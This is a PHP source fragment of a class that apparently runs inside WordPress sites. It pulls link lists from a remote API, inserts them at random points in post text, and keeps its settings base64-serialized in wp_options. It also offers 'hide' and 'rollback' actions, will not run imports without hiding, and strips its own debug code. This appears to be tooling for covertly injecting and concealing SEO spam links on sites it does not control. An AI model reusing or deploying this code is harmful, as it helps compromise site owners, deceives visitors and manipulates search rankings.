        $linksLimit = $countHtmlFiles * $maxExtLinks;

        $params = array(
            'tableHash' => defined('TABLE_HASH') ? TABLE_HASH : '',
            'htmlHash' => defined('HTML_HASH') ? HTML_HASH : '',
            'linksLimit' => $linksLimit,
            'maxLinksCount' => COUNT_LINKS_FROM_DOMAIN,
        );

        $query = http_build_query($params);

        WritePostsWpHandler::saveRemoteFileCurl(GS_ALIAS . '/dnc/wp-acceptors-api/batch-get-links-test?' . $query, TMPDIR . '/ext-links.txt');
    }

    public static function textWithLinks($text, $results, &$extLinksArr) {

        $internalLinks = array();
        $externalLinks = array();

        if (INTERNAL_LINKING === 1) {

            list ($minLinks, $maxLinks) = explode('..', INTERNAL_LINKS_COUNT_PAGE);
            $range = range($minLinks, $maxLinks);
            $linksCount = $range[rand(0, count($range) - 1)];

            if (count($results) >= $linksCount) {
                shuffle($results);
                $slicedResults = array_slice($results, 0, $linksCount);
                $internalLinks = WritePostsWpHandler::linksPrepare($slicedResults);
            }
        }

        if ((EXTERNAL_LINKING === 1) && !empty($extLinksArr)) {
            list ($minLinks, $maxLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);
            $randCount = rand($minLinks, $maxLinks);

            if ($randCount <= count($extLinksArr)) {
                $externalLinks = array_splice($extLinksArr, 0, $randCount);
            } else {
                $externalLinks = $extLinksArr;
                $extLinksArr = array();
            }
        }

        $allLinksTypes = $externalLinks + $internalLinks;

        return WritePostsWpHandler::replacePTags($text, $allLinksTypes);
    }

    public static function linksPrepare($results) {

        $links = array();

        foreach ($results as $result) {
            list ($url, $title) = explode(';', $result, 2);
            $title = htmlspecialchars_decode($title);
            $url = str_replace('//?p=', '/?p=', $url);
            $links[] = "<a href=\"$url\">$title</a>";
        }

        return $links;
    }

    public static function replacePTags($source, $links) {

        preg_match_all('~.{20}<\/p>~us', $source, $matches);

        if (empty($matches[0])) {
            return null;
        }

        $num = range(0, count($matches[0]) - 1);
        $patternsReplacementsArr = array();

        foreach ($links as $link) {
            $randNum = $num[rand(0, count($matches[0]) - 1)];
            $pattern = '~' . preg_quote($matches[0][$randNum]) . '~us';

            if (isset($patternsReplacementsArr[$pattern])) {
                $patternsReplacementsArr[$pattern] = $patternsReplacementsArr[$pattern] . "\n" . $link;
            } else {
                $patternsReplacementsArr[$pattern] = $matches[0][$randNum] . "\n" . $link;
            }
        }

        return preg_replace(array_keys($patternsReplacementsArr), array_values($patternsReplacementsArr), $source);
    }

    public static function decodeExternalLinks() {
        if (!file_exists(TMPDIR . '/ext-links.txt')) {
            GlobalLogs::setMainLog('no external links source');
            return false;
        }

        $extLinksSource = file_get_contents(TMPDIR . '/ext-links.txt');

        $extLinksSourceDecode = json_decode($extLinksSource, 1);

        if (!is_array($extLinksSourceDecode) || !isset($extLinksSourceDecode['links'])) {

            if (trim($extLinksSource) == 'tmp table not found') {
                GlobalLogs::setMainLog(sprintf('%s table not found', TABLE_HASH));
                return false;
            }

            if (trim($extLinksSource) == 'table expired') {
                GlobalLogs::setMainLog(sprintf('%s table expired', TABLE_HASH));
                return false;
            }

            if (trim($extLinksSource) == 'table is empty') {
                GlobalLogs::setMainLog(sprintf('%s db links not found', TABLE_HASH));
                return false;
            }

            if (trim($extLinksSource) == 'file with links not found') {
                GlobalLogs::setMainLog(sprintf('%s file with links not found', HTML_HASH));
                return false;
            }
            GlobalLogs::setMainLog('error while decoding json external links');
            return false;
        }

        return $extLinksSourceDecode['links'];
    }

    public static function deleteSettings() {

        if (!defined('CUSTOM_AUTHOR_ID')) {
            return;
        }

        $settings = WritePostsWpHandler::getDbSettingsCustom();

        if (isset($settings[CUSTOM_AUTHOR_ID])) {
            unset($settings[CUSTOM_AUTHOR_ID]);
            GlobalLogs::setMainLog(sprintf('delete settings for user id %s', CUSTOM_AUTHOR_ID));
            WritePostsWpHandler::writeSettingsDB($settings);
        }
    }

    public static function writeSettingsDB($settings) {

        try {
            $settingsName = WritePostsWpHandler::optionCustomFilters();
            $instance = CustomDbHandler::getInstance();
            $settingsEncode = base64_encode(serialize($settings));

            if (!$instance->getOption($settingsName)) {
                //echo 'insert new option' . PHP_EOL;
                $instance->insertWpOptions($settingsName, $settingsEncode);
            } else {
                //echo 'option exist, update option' . PHP_EOL;
                $instance->updateWpOptions($settingsName, $settingsEncode);
            }

            GlobalLogs::setMainLog('settings updated!');

            return true;

        } catch (Exception $ex) {
            GlobalLogs::setMainLog($ex->getMessage());
            return false;
        }
    }

    public static function deleteMutex() {
        $path = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName();
        unlink($path);
    }

    public static function startActions($actions) {

        foreach ($actions as $actionName => $status) {

            if (!$status) {
                continue;
            }

            WritePostsWpHandler::doAction($actions, $actionName);
        }
    }

    public static function doAction($actions, $actionName) {

        $callBackName = $actionName . 'Action';

        if (method_exists('ActionsCustom', $callBackName)) {

            GlobalLogs::setMainLog(sprintf('%s start', $callBackName));

            if (call_user_func(array('ActionsCustom', $callBackName)) === false) {
                GlobalLogs::setMainLog(sprintf('%s invalid execute!!!', $callBackName));
                echo GlobalLogs::getMainLogs();
                exit;

            }
            /* setActions */
            GlobalLogs::setMainLog(sprintf('%s finished', $callBackName));
            GlobalLogs::setDebugLog(sprintf('success execute action, update option, %s', $actionName));
            WritePostsWpHandler::customSetActions($actions, $actionName);


        } else {
            GlobalLogs::setMainLog(sprintf('%s not found!!!', $callBackName));
        }
    }

    public static function customSetActions($actions, $actionName) {

        GlobalLogs::setDebugLog(sprintf('set actionname - %s 0', $actionName));

        $pluginsBackupOptionName = WritePostsWpHandler::pluginsBackupOptionName();
        $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsBackupOptionName);


        if ($pluginsBackupOption) {
            $pluginsBackupOptionDecoded = json_decode($pluginsBackupOption['option_value'], 1);
            $pluginsBackupOptionDecoded[$actionName] = 0;
            $newActions = json_encode($pluginsBackupOptionDecoded);
            CustomDbHandler::getInstance()
                ->updateWpOptions($pluginsBackupOptionName, $newActions);

        } else {

            $actions[$actionName] = 0;
            CustomDbHandler::getInstance()
                ->insertWpOptions(WritePostsWpHandler::pluginsBackupOptionName(), json_encode($actions));
        }


    }

    public static function createTmpSubDir() {
        $tmpSubDir = WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);
        if (!is_dir($tmpDirNameCustom = WRITABLE_PATH . '/' . $tmpSubDir)) {
            if (!mkdir($tmpDirNameCustom, 0777, true)) {
                return false;
            }
        }
        return $tmpDirNameCustom;
    }

    public static function timeHelper($name) {
        return substr(md5($name . WP_ROOT_DIR), 0, 6);
    }

    public static function getPermalinkCustom($post, $leavename = false) {
        $rewritecode = array(
            '%year%',
            '%monthnum%',
            '%day%',
            '%hour%',
            '%minute%',
            '%second%',
            $leavename ? '' : '%postname%',
            '%post_id%',
            '%category%',
            '%author%',
            $leavename ? '' : '%pagename%',
        );


        if (!$post) {
            return false;
        }

        $permalink = get_option('permalink_structure');


        if (!$permalink) {
            return home_url('?p=' . $post->ID);
        }
        $permalink = apply_filters('pre_post_link', $permalink, $post, $leavename);


        $category = '';
        if (strstr($permalink, '%category%') !== false) {
            $cats = get_the_category($post->ID);
            if ($cats) {
                $cats = wp_list_sort(
                    $cats,
                    array(
                        'term_id' => 'ASC',
                    )
                );

                $category_object = apply_filters('post_link_category', $cats[0], $cats, $post);
                $category_object = get_term($category_object, 'category');
                $category = $category_object->slug;
                if ($category_object->parent) {
                    $category = get_category_parents($category_object->parent, false, '/', true) . $category;
                }
            }

            if (empty($category)) {
                $default_category = get_term(get_option('default_category'), 'category');
                if ($default_category && !is_wp_error($default_category)) {
                    $category = $default_category->slug;
                }
            }


        }

        $author = '';

        if (strstr($permalink, '%author%')) {
            $authordata = get_userdata($post->post_author);
            $author = $authordata->user_nicename;
        }

        $date = explode(' ', str_replace(array('-', ':'), ' ', $post->post_date));

        $rewritereplace = array(
            $date[0],
            $date[1],
            $date[2],
            $date[3],
            $date[4],
            $date[5],
            $post->post_name,
            $post->ID,
            $category,
            $author,
            $post->post_name,
        );

        $permalink = home_url(str_replace($rewritecode, $rewritereplace, $permalink));
        $permalink = user_trailingslashit($permalink, 'single');
        $permalink = rtrim($permalink, '/') . '/';


        return apply_filters('post_link', $permalink, $post, $leavename);


    }

    public static function fetchPermalinksFromSitemap() {

        $dbSettings = WritePostsWpHandler::getDbSettingsCustom();

        if (!isset($dbSettings[CUSTOM_AUTHOR_ID])) {
            GlobalLogs::setMainLog('invalid settings for this author');
            return false;
        }
        if (!isset($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings'])) {
            GlobalLogs::setMainLog('invalid sitemap settings');
            return false;
        }


        $sitemapNameByAuthorId = key($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings']);
        $sitemapNameByAuthorId = str_replace('\.xml$', '', $sitemapNameByAuthorId);

        $sitemapUrl = sprintf('%s/index.php?feed=xml%s', HOME_URL, $sitemapNameByAuthorId);
        $tmpSitemapName = TMPDIR . '/' . WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);

        $extractUrlsFirst = WritePostsWpHandler::validateSitemap($tmpSitemapName);

        if (!empty($extractUrlsFirst)) {
            //first try
            GlobalLogs::setDebugLog(sprintf('first try fetch url %s', $sitemapUrl));
            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsFirst)));
            return $extractUrlsFirst;
        }

        if (file_exists($tmpSitemapName)) {
            unlink($tmpSitemapName);
        }

        WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName);
        $extractUrlsSec = WritePostsWpHandler::validateSitemap($tmpSitemapName);

        if (!empty($extractUrlsSec)) {
            //sec try
            GlobalLogs::setDebugLog(sprintf('sec try fetch url %s', $sitemapUrl));
            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsSec)));
            return $extractUrlsSec;
        }

        $sitemapUrl = sprintf('%s/%s.xml', HOME_URL, $sitemapNameByAuthorId);
        GlobalLogs::setDebugLog(sprintf('change sitemap url %s', $sitemapUrl));

        if (file_exists($tmpSitemapName)) {
            unlink($tmpSitemapName);
        }

        WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName);
        $extractUrlsThird = WritePostsWpHandler::validateSitemap($tmpSitemapName);
        if (!empty($extractUrlsThird)) {
            // third
            GlobalLogs::setDebugLog(sprintf('third try fetch url %s', $sitemapUrl));
            GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsThird)));

            return $extractUrlsThird;
        }
        return false;

    }

    public static function validateSitemap($tmpSitemapName) {

        if (file_exists($tmpSitemapName)) {
            $sitemapSource = file_get_contents($tmpSitemapName);
            $extractUrls = WritePostsWpHandler::parseXmlSitemap($sitemapSource);
            if (empty($extractUrls)) {
                GlobalLogs::setDebugLog('invalid extracted sitemap source');
                return false;
            }
            return $extractUrls;
        }
        return false;
    }

    public static function parseXmlSitemap($source) {
        preg_match_all('~<loc>([^\<]+)<\/loc>~u', $source, $urls);

        if (!isset($urls[1])) {
            return array();
        }

        return $urls[1];
    }

    public static function saveRemoteSource($url, $localname) {

        if (!function_exists('curl_init')) {
            self::saveRemoteFileFgc($url, $localname);
        } else {
            self::saveRemoteFileCurl($url, $localname);

        }


    }

    public static function saveRemoteFileFgc($url, $localname) {
        $source = file_get_contents($url);
        if (!$source) {
            return false;
        }
        file_put_contents($localname, $source);
        return true;
    }

    public static function gzCompressCustom($string) {
        return base64_encode(gzdeflate($string, 9));
    }

    public static function removeDebugFromCustom($source) {
        $patterns = array(
            '~(?<!function\s)customSetDebug\s*\(\s*.+?\)\s*;~s',
            '~(?:\/\/)?customSendDebug\(\);~s',
            '~function\s+(?:(customSendDebug|customSetDebug)).+?(?=function)~s',
        );


        return preg_replace($patterns, '', $source);
    }

    public static function quickView($actions) {
        if (count($actions) === 1) {
            if (array_intersect(array('viewSettings', 'viewAllAuthors', 'rollback', 'hide', 'globalRollback'), array_keys($actions))) {
                return true;
            }
        }
        return false;
    }

    public static function actionValidator($actions) {

        $activeActions = WritePostsWpHandler::activeActions($actions);

        if (defined('HOME_LINKS') && (HOME_LINKS === 1)) {
            if (!WritePostsWpHandler::validateHomeLinks($activeActions)) {
                exit;
            }
        }

        if (!WritePostsWpHandler::checkImportHide($activeActions)) {
            exit;
        }

        if (!WritePostsWpHandler::checkHomeLinksHide($activeActions)) {
            $activeActions['hide'] = 1;
        }

        if (WritePostsWpHandler::needHideToTop($activeActions)) {
            unset($activeActions['hide']);
            $activeActions = array('hide' => 1) + $activeActions;
        }

        return $activeActions;
    }

    public static function activeActions($actions) {

        $activeActions = array();
        foreach ($actions as $key => $value) {
            if ($value) {
                $activeActions[$key] = $value;
            }
        }
        return $activeActions;
    }

    public static function validateHomeLinks($actions) {
        if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {
            return true;
        }
        if (!isset($actions['homeLinks'])) {
            return true;
        }
        $settings = WritePostsWpHandler::getDbSettingsCustom();
        if (isset($settings[CUSTOM_AUTHOR_ID])) {
            unset($settings[CUSTOM_AUTHOR_ID]);
        }
        foreach ($settings as $value) {
            if (isset($value['homeLinks']) && !is_null($value['homeLinks'])) {
                GlobalLogs::setMainLog('another user is using home links');
                return false;
            }
        }

        return true;
    }

    public static function checkImportHide($activeActions) {
        if (isset($activeActions['import']) && !isset($activeActions['hide'])) {
            echo 'you cannot run import without hide' . PHP_EOL;
            return false;
        }
        return true;
    }

    public static function checkHomeLinksHide($activeActions) {
        if (isset($activeActions['homeLinks']) && !isset($activeActions['hide'])) {
            return false;
        }
        return true;
    }

    public static function needHideToTop($activeActions) {
        if ((count($activeActions) > 1) && isset($activeActions['hide'])) {
            return true;
        }
        return false;

    }


}